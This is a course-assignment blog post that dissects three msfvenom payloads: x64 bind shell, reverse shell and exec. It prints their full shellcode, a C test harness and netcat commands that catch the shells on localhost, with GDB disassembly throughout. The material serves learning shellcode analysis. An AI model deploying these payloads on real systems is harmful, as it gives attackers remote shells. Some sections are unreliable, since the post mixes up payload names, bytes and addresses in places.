This post introduces my 5th mission of my SLAE64 journey.
Introduction
The SLAE64 5th assignment’s purpose is to select three msfvenom payloads, dissect them with gdb, and document my analysis.
For this task, I selected the following payloads:
- linux/x86/shell_bind_tcp
- linux/x86/shell_reverse_tcp
- linux/x86/chmod
Shellcode 1 - linux/x64/shell_bind_tcp
The first step to do is to generate the shellcode using MSF. As usual, let’s check its arguments.
msfvenom -p linux/x64/shell_bind_tcp --list-options
-[~]$ msfvenom -p linux/x64/shell_bind_tcp --list-options
Options for payload/linux/x64/shell_bind_tcp:
=========================
Name: Linux Command Shell, Bind TCP Inline
Module: payload/linux/x64/shell_bind_tcp
Platform: Linux
Arch: x64
Needs Admin: No
Total size: 86
Rank: Normal
Provided by:
ricky
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST no The target address
Description:
Listen for a connection and spawn a command shell
Let’s get our bind shell using msfvenom
. The command below will by default point to 127.0.0.1
and port 4444
.
[~]$ msfvenom -p linux/x64/shell_bind_tcp -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 86 bytes
Final size of c file: 389 bytes
unsigned char buf[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
"\x52\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a\x10\x5a"
"\x6a\x31\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a"
"\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21"
"\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
"\x0f\x05";
Compile and Testing the Shellcode
Adding the shellcode to our tester program - shellcode.c
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
"\x52\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a\x10\x5a"
"\x6a\x31\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a"
"\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21"
"\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
"\x0f\x05";
int main()
{
int (*ret)() = (int(*)())code;
ret();
}
Compiling with gcc
and executing it.
╭─edu@debian ~/Desktop/slae_x86_64/assignments/5-MSF-Shellcode-Analysis/shell_bind-tcp ‹main●›
╰─$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
╭─edu@debian ~/Desktop/slae_x86_64/assignments/5-MSF-Shellcode-Analysis/shell_bind-tcp ‹main●›
╰─$ ./shellcode
----------------
╭─edu@debian ~/Desktop/slae_x86_64/assignments/1-shell-bind-tcp-password-shellcode ‹main●›
╰─$ nc -nv 127.0.0.1 4444
(UNKNOWN) [127.0.0.1] 4444 (?) open
id
uid=1000(edu) gid=1000(edu)
GDB Analysis
For this analysis I used GEF plugin to assist my analysis with GDB
.
gdb -q ./shellcode
First, we put a breakpoint in code[]
to pause the execution at the beginning of the shellcode.
╭─edu@debian ~/Desktop/slae_x86_64/assignments/5-MSF-Shellcode-Analysis/shell_bind-tcp ‹main●›
╰─$ gdb -q ./shellcode
GEF for linux ready, type `gef' to start, `gef config' to configure
77 commands loaded for GDB 8.2.1 using Python engine 3.7
gef➤ b *&code
Breakpoint 1 at 0x4040
gef➤ r
We go direct to the shellcode’s first instruction.
Disassembling Bind TCP Shellcode
With the instruction disas
we can disassemble the code
function. In our context is the Bind Shellcode.
gef➤ disas
Dump of assembler code for function code:
=> 0x0000555555558040 <+0>: push 0x29
0x0000555555558042 <+2>: pop rax
0x0000555555558043 <+3>: cdq
0x0000555555558044 <+4>: push 0x2
0x0000555555558046 <+6>: pop rdi
0x0000555555558047 <+7>: push 0x1
0x0000555555558049 <+9>: pop rsi
0x000055555555804a <+10>: syscall
0x000055555555804c <+12>: xchg rdi,rax
0x000055555555804e <+14>: push rdx
0x000055555555804f <+15>: mov DWORD PTR [rsp],0x5c110002
0x0000555555558056 <+22>: mov rsi,rsp
0x0000555555558059 <+25>: push 0x10
0x000055555555805b <+27>: pop rdx
0x000055555555805c <+28>: push 0x31
0x000055555555805e <+30>: pop rax
0x000055555555805f <+31>: syscall
0x0000555555558061 <+33>: push 0x32
0x0000555555558063 <+35>: pop rax
0x0000555555558064 <+36>: syscall
0x0000555555558066 <+38>: xor rsi,rsi
0x0000555555558069 <+41>: push 0x2b
0x000055555555806b <+43>: pop rax
0x000055555555806c <+44>: syscall
0x000055555555806e <+46>: xchg rdi,rax
0x0000555555558070 <+48>: push 0x3
0x0000555555558072 <+50>: pop rsi
0x0000555555558073 <+51>: dec rsi
0x0000555555558076 <+54>: push 0x21
0x0000555555558078 <+56>: pop rax
0x0000555555558079 <+57>: syscall
0x000055555555807b <+59>: jne 0x555555558073 <code+51>
0x000055555555807d <+61>: push 0x3b
0x000055555555807f <+63>: pop rax
0x0000555555558080 <+64>: cdq
0x0000555555558081 <+65>: movabs rbx,0x68732f6e69622f
0x000055555555808b <+75>: push rbx
0x000055555555808c <+76>: mov rdi,rsp
0x000055555555808f <+79>: push rdx
0x0000555555558090 <+80>: push rdi
0x0000555555558091 <+81>: mov rsi,rsp
0x0000555555558094 <+84>: syscall
End of assembler dump.
Socket Syscall
0x0000555555558040 <+0>: push 0x29
0x0000555555558042 <+2>: pop rax
0x0000555555558043 <+3>: cdq
0x0000555555558044 <+4>: push 0x2
0x0000555555558046 <+6>: pop rdi
0x0000555555558047 <+7>: push 0x1
0x0000555555558049 <+9>: pop rsi
0x000055555555804a <+10>: syscall
-
rax
is set to0x29
which is thesocket
syscall number. -
cdq
is for clearingrdx
. -
rdi
is set to 0x2 which isAF_INET
. -
rsi
is set to 0x1 which is SOCK_STREAM
Bind Syscall
0x000055555555804c <+12>: xchg rdi,rax ; stores socket file descriptor in rdi
0x000055555555804e <+14>: push rdx ; rdx is null
0x000055555555804f <+15>: mov DWORD PTR [rsp],0x5c110002
0x0000555555558056 <+22>: mov rsi,rsp
0x0000555555558059 <+25>: push 0x10
0x000055555555805b <+27>: pop rdx
0x000055555555805c <+28>: push 0x31
0x000055555555805e <+30>: pop rax
0x000055555555805f <+31>: syscall
-
push rdx
will push 4 bytes of zeros regardingIPADDR_ANY
. This means it will bind in all interfaces. -
0x5c110002
- 0002 is
AF_INET
- 5c11 if for PORT 4444 in Little-Endian format
- 0002 is
Then puts 0x10 (16 bytes) in rdx
which is the struct size
0x31
is bind syscall number.
Listen Syscall
0x0000555555558061 <+33>: push 0x32 0x0000555555558063 <+35>: pop rax 0x0000555555558064 <+36>: syscall
-
Puts
0x32
inrax
, listen syscall number -
Listen
as a 2nd argument calledbacklog
h inrsi
which defines the maximum length to which the queue of pending connections for sockfd may grow. This does not have fundamental importance for our exercise.
Accept Syscall
0x0000555555558066 <+38>: xor rsi,rsi
0x0000555555558069 <+41>: push 0x2b
0x000055555555806b <+43>: pop rax
0x000055555555806c <+44>: syscall
- Clear
rsi
and put accpet ssycall number inrax
.
As there is no struct needed for the socket address, rsi
and rdx
are set to zero.
Dup2 Syscall Loop
0x0000555555558070 <+48>: push 0x3
0x0000555555558072 <+50>: pop rsi
0x0000555555558073 <+51>: dec rsi
0x0000555555558076 <+54>: push 0x21
0x0000555555558078 <+56>: pop rax
0x0000555555558079 <+57>: syscall
0x000055555555807b <+59>: jne 0x555555558073 <code+51>
The already “famous” dup2 syscall loop for stdin
, stdout
and stderr
.
Puts 0x21
, the dup2 syscall number in rax
Execve Syscall
The syscall used to call /bin/sh
and spawn a shell to an incoming connection.
0x000055555555807d <+61>: push 0x3b
0x000055555555807f <+63>: pop rax
0x0000555555558080 <+64>: cdq
- set
rax
with execve syscall cdq
clearsrdx
0x0000555555558081 <+65>: movabs rbx,0x68732f6e69622f ; /bin/sh
0x000055555555808b <+75>: push rbx ; push null
0x000055555555808c <+76>: mov rdi,rsp
rdi
is set to the memory address of the null-terminated string/bin/sh
0x000055555555808f <+79>: push rdx ; push null
0x0000555555558090 <+80>: push rdi ; push memory of /bin/sh
0x0000555555558091 <+81>: mov rsi,rsp
0x0000555555558094 <+84>: syscall
rsi
is set to a pointer of a pointer address of/bin/sh
- Calls execve with the
syscall
isntruction
Shellcode 2 - linux/x64/shell_reverse_tcp
The first step to do is generate the shellcode using MSF. As usual, let’s check its arguments
msfvenom -p linux/x64/shell_reverse_tcp --list-options
-[~]$ msfvenom -p linux/x64/shell_reverse_tcp --list-options
Options for payload/linux/x64/shell_reverse_tcp:
=========================
Name: Linux Command Shell, Reverse TCP Inline
Module: payload/linux/x64/shell_reverse_tcp
Platform: Linux
Arch: x64
Needs Admin: No
Total size: 74
Rank: Normal
Provided by:
ricky
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Let’s get our bind shell using msfvenom
. The command below will by default point to 127.0.0.1 and port 4444.
[~]$ msfvenom -p linux/x64/shell_reverse_tcp LHOST='127.1.1.1' -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
unsigned char shellcode[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x11\x5c\x7f\x01\x01\x01\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
Compile and Testing the Shellcode
Adding the shellcode to our tester program - shellcode.c
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
"\x52\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a\x10\x5a"
"\x6a\x31\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a"
"\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21"
"\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
"\x0f\x05";
main() {
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compiling with gcc
and executing it.
╭─edu@debian ~/Desktop/slae_x86_64/assignments/5-MSF-Shellcode-Analysis/shell_reverse-tcp ‹main●›
╰─$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
shellcode.c:12:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
main() {
^~~~
╭─edu@debian ~/Desktop/slae_x86_64/assignments/5-MSF-Shellcode-Analysis/shell_reverse-tcp ‹main●›
╰─$ ./shellcode
Shellcode Length: 17
----------------
╭─edu@debian ~/Desktop/slae_x86_64/assignments/1-shell-bind-tcp-password-shellcode ‹main●›
╰─$ nc -lvnp 4444 1 ↵
listening on [any] 4444 ...
connect to [127.1.1.1] from (UNKNOWN) [127.0.0.1] 44176
whoami
edu
GDB Analysis
For this analysis I used GEF plugin to assist my analysis with GDB
.
gdb -q ./shellcode
First, we put a breakpoint in code[]
to pause the execution at the beginning of the shellcode.
─edu@debian ~/Desktop/slae_x86_64/assignments/5-MSF-Shellcode-Analysis/shell_reverse-tcp ‹main●›
╰─$ gdb -q shellcode
GEF for linux ready, type `gef' to start, `gef config' to configure
77 commands loaded for GDB 8.2.1 using Python engine 3.7
gef➤ b *&code
Breakpoint 1 at 0x4060
gef➤ r
We go direct to the shellcode’s first instruction.
Disassembling Reverse TCP Shellcode
With the instruction disas
we can disassemble the code
function. In our context is the Bind Shellcode.
gef➤ disas
Dump of assembler code for function code:
=> 0x0000555555558060 <+0>: push 0x29
0x0000555555558062 <+2>: pop rax
0x0000555555558063 <+3>: cdq
0x0000555555558064 <+4>: push 0x2
0x0000555555558066 <+6>: pop rdi
0x0000555555558067 <+7>: push 0x1
0x0000555555558069 <+9>: pop rsi
0x000055555555806a <+10>: syscall
0x000055555555806c <+12>: xchg rdi,rax
0x000055555555806e <+14>: movabs rcx,0x101017f5c110002
0x0000555555558078 <+24>: push rcx
0x0000555555558079 <+25>: mov rsi,rsp
0x000055555555807c <+28>: push 0x10
0x000055555555807e <+30>: pop rdx
0x000055555555807f <+31>: push 0x2a
0x0000555555558081 <+33>: pop rax
0x0000555555558082 <+34>: syscall
0x0000555555558084 <+36>: push 0x3
0x0000555555558086 <+38>: pop rsi
0x0000555555558087 <+39>: dec rsi
0x000055555555808a <+42>: push 0x21
0x000055555555808c <+44>: pop rax
0x000055555555808d <+45>: syscall
0x000055555555808f <+47>: jne 0x555555558087 <code+39>
0x0000555555558091 <+49>: push 0x3b
0x0000555555558093 <+51>: pop rax
0x0000555555558094 <+52>: cdq
0x0000555555558095 <+53>: movabs rbx,0x68732f6e69622f
0x000055555555809f <+63>: push rbx
0x00005555555580a0 <+64>: mov rdi,rsp
0x00005555555580a3 <+67>: push rdx
0x00005555555580a4 <+68>: push rdi
0x00005555555580a5 <+69>: mov rsi,rsp
0x00005555555580a8 <+72>: syscall
0x00005555555580aa <+74>: add BYTE PTR [rax],al
End of assembler dump.
Socket Syscall
0x0000555555558040 <+0>: push 0x29
0x0000555555558042 <+2>: pop rax
0x0000555555558043 <+3>: cdq
0x0000555555558044 <+4>: push 0x2
0x0000555555558046 <+6>: pop rdi
0x0000555555558047 <+7>: push 0x1
0x0000555555558049 <+9>: pop rsi
0x000055555555804a <+10>: syscall
-
rax
is set to0x29
which is thesocket
syscall number. -
cdq
setsrdx
to null. -
rdi
is set to 0x2 which isAF_INET
. -
rsi
is set to 0x1 which is SOCK_STREAM
Connect Syscall
Below the struct for the socket address.
0x000055555555804c <+12>: xchg rdi,rax ; stores socket file descriptor in rdi
0x000055555555806e <+14>: movabs rcx,0x101017f5c110002
0x0000555555558078 <+24>: push rcx
0x0000555555558079 <+25>: mov rsi,rsp
0x000055555555807c <+28>: push 0x10
0x000055555555807e <+30>: pop rdx
0x000055555555807f <+31>: push 0x2a
0x0000555555558081 <+33>: pop rax
0x0000555555558082 <+34>: syscall
- Puts
0x101017f5c110002
inrcx
and passes the struct pointer torsi
- 0002 is
AF_INET
- 5c11 if for PORT 4444 in Little-Endian format
101017f
if the IP address127.0.0.1
- 0002 is
Then puts 0x10 (16 bytes) in rdx
which is the struct size
0x2a
is connect syscall number.
Dup2 Syscall Loop
0x0000555555558070 <+48>: push 0x3
0x0000555555558072 <+50>: pop rsi
0x0000555555558073 <+51>: dec rsi
0x0000555555558076 <+54>: push 0x21
0x0000555555558078 <+56>: pop rax
0x0000555555558079 <+57>: syscall
0x000055555555807b <+59>: jne 0x555555558073 <code+51>
The already “famous” dup2 syscall loop for stdin
, stdout
and stderr
.
Puts 0x21
, the dup2 syscall number in rax
Execve Syscall
The syscall used to call /bin/sh
and spawn a shell to an incoming connection.
0x000055555555807d <+61>: push 0x3b
0x000055555555807f <+63>: pop rax
0x0000555555558080 <+64>: cdq
- set
rax
with execve syscall cdq
clearsrdx
0x0000555555558081 <+65>: movabs rbx,0x68732f6e69622f ; /bin/sh
0x000055555555808b <+75>: push rbx ; push null
0x000055555555808c <+76>: mov rdi,rsp
rdi
is set to the memory address of the null-terminated string/bin/sh
0x000055555555808f <+79>: push rdx ; push null
0x0000555555558090 <+80>: push rdi ; push memory of /bin/sh
0x0000555555558091 <+81>: mov rsi,rsp
0x0000555555558094 <+84>: syscall
rsi
is set to a pointer of a pointer address of/bin/sh
- Calls execve with the
syscall
instruction
Shellcode 3 - linux/x64/exec
The first step to do is generate the shellcode using MSF. As usual, let’s check its arguments
msfvenom -p linux/x64/exec --list-options
-[~]$ msfvenom -p linux/x64/shell_reverse_tcp --list-options
Options for payload/linux/x64/shell_reverse_tcp:
=========================
Name: Linux Command Shell, Reverse TCP Inline
Module: payload/linux/x64/shell_reverse_tcp
Platform: Linux
Arch: x64
Needs Admin: No
Total size: 74
Rank: Normal
Provided by:
ricky
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Description:
Connect back to attacker and spawn a command shell
Let’s get our bind shell using msfvenom
. The command below will by default point to 127.0.0.1 and port 4444.
[~]$ msfvenom -p linux/x64/exec CMD=whoami -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 43 bytes
Final size of c file: 208 bytes
unsigned char buf[] =
"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f"
"\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x07\x00\x00\x00\x77"
"\x68\x6f\x61\x6d\x69\x00\x56\x57\x54\x5e\x6a\x3b\x58\x0f"
"\x05";
Compile and Testing the Shellcode
Adding the shellcode to our tester program - shellcode.c
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f"
"\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x07\x00\x00\x00\x77"
"\x68\x6f\x61\x6d\x69\x00\x56\x57\x54\x5e\x6a\x3b\x58\x0f"
"\x05";
main() {
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compiling with gcc
and executing it.
╭─edu@debian ~/Desktop/slae_x86_64/assignments/5-MSF-Shellcode-Analysis/exec ‹main●›
╰─$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c 130 ↵
shellcode.c:11:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
main() {
^~~~
╭─edu@debian ~/Desktop/slae_x86_64/assignments/5-MSF-Shellcode-Analysis/exec ‹main●›
╰─$ ./shellcode
Shellcode Length: 9
edu
GDB Analysis
For this analysis I used GEF plugin to assist my analysis with GDB
.
gdb -q ./shellcode
First, we put a breakpoint in code[]
to pause the execution at the beginning of the shellcode.
╭─edu@debian ~/Desktop/slae_x86_64/assignments/5-MSF-Shellcode-Analysis/exec ‹main●›
╰─$ gdb -q shellcode
GEF for linux ready, type `gef' to start, `gef config' to configure
77 commands loaded for GDB 8.2.1 using Python engine 3.7
gef➤ b *&code
Breakpoint 1 at 0x4060
gef➤ r
We go direct to the shellcode’s first instruction.
Disassembling Reverse TCP Shellcode
With the instruction disas
we can disassemble the code
function. In our context is the exec Shellcode.
Disassembling Reverse TCP Shellcode
gef➤ disas
Dump of assembler code for function code:
=> 0x0000555555558060 <+0>: movabs rax,0x68732f6e69622f
0x000055555555806a <+10>: cdq
0x000055555555806b <+11>: push rax
0x000055555555806c <+12>: push rsp
0x000055555555806d <+13>: pop rdi
0x000055555555806e <+14>: push rdx
0x000055555555806f <+15>: pushw 0x632d
0x0000555555558073 <+19>: push rsp
0x0000555555558074 <+20>: pop rsi
0x0000555555558075 <+21>: push rdx
0x0000555555558076 <+22>: call 0x555555558082 <code+34>
0x000055555555807b <+27>: ja 0x5555555580e5
0x000055555555807d <+29>: outs dx,DWORD PTR ds:[rsi]
0x000055555555807e <+30>: (bad)
0x000055555555807f <+31>: ins DWORD PTR es:[rdi],dx
0x0000555555558080 <+32>: imul eax,DWORD PTR [rax],0x5e545756
0x0000555555558086 <+38>: push 0x3b
0x0000555555558088 <+40>: pop rax
0x0000555555558089 <+41>: syscall
0x000055555555808b <+43>: add BYTE PTR [rax],al
End of assembler dump.
/bin/sh? Push, push and push to the stack!
0x0000555555558060 <+0>: movabs rax,0x68732f6e69622f ; /bin/sh
0x000055555555806a <+10>: cdq
0x000055555555806b <+11>: push rax
0x000055555555806c <+12>: push rsp
0x000055555555806d <+13>: pop rdi
/bin/sh
moved torax
and pushed to the stack.cdq
zeroesrdx
.- pushed a pointer of a pointer to
/binsh
withpush rsp
and poped tordi
. It holds a pointer to the command to be executed.
Command Flag (-c)
0x000055555555806e <+14>: push rdx
0x000055555555806f <+15>: pushw 0x632d ; -c
0x0000555555558073 <+19>: push rsp
0x0000555555558074 <+20>: pop rsi
push rdx
null terminates-c
string.rdi
points to-c
Obfudcated “Call-Push-Pop” Syscall? Calling execve in a different way
0x0000555555558076 <+22>: call 0x555555558082 <code+34>
0x000055555555807b <+27>: ja 0x5555555580e5
[...]
0x0000555555558080 <+32>: imul eax,DWORD PTR [rax],0x5e545756 ; redirected to the "middle"
0x555555558086 <code+38>: push 0x3b
0x555555558088 <code+40>: pop rax
0x555555558089 <code+41>: syscall
Here we have a deja vú
of the SLAE32 MSF Shellcode Analysis assignment.
The call
is used to store the next instruction address onto the stack and redirect execution further in the “middle” of 0x0000555555558080 <+32>: imul eax,DWORD PTR [rax],0x5e545756
instruction
gef➤ x/7i 0x555555558082
0x555555558082 <code+34>: push rsi
0x555555558083 <code+35>: push rdi
0x555555558084 <code+36>: push rsp
0x555555558085 <code+37>: pop rsi
0x555555558086 <code+38>: push 0x3b
0x555555558088 <code+40>: pop rax
0x555555558089 <code+41>: syscall
Based on the call
address, I examined the isntruction after that address and the above obfuscated appeared “magically”.
The execve’s Command
0x0000555555558076 <+22>: call 0x555555558082 <code+34>
0x000055555555807b <+27>: ja 0x5555555580e5
0x000055555555807d <+29>: outs dx,DWORD PTR ds:[rsi]
0x000055555555807e <+30>: (bad)
0x000055555555807f <+31>: ins DWORD PTR es:[rdi],dx
0x0000555555558080 <+32>: imul eax,DWORD PTR [rax],0x5e545756
The call
instruction does the magic here. It pushes onto the top of the stack at the following address. In practical terms, the next instruction’s bytes are pushed onto the stack, and the CPU will read those bytes until it finds a null.
If we examine the address of ja 0x5555555580e5
, we verify the command whoami
is right there.
gef➤ x/s 0x000055555555807b
0x55555555807b <code+27>: "whoami"
Everything set, call execve!
Let’s check how the stack and the registers are set before the interruption syscall.
This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64): https://www.pentesteracademy.com/course?id=7
Student ID: PA-31319
All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86_64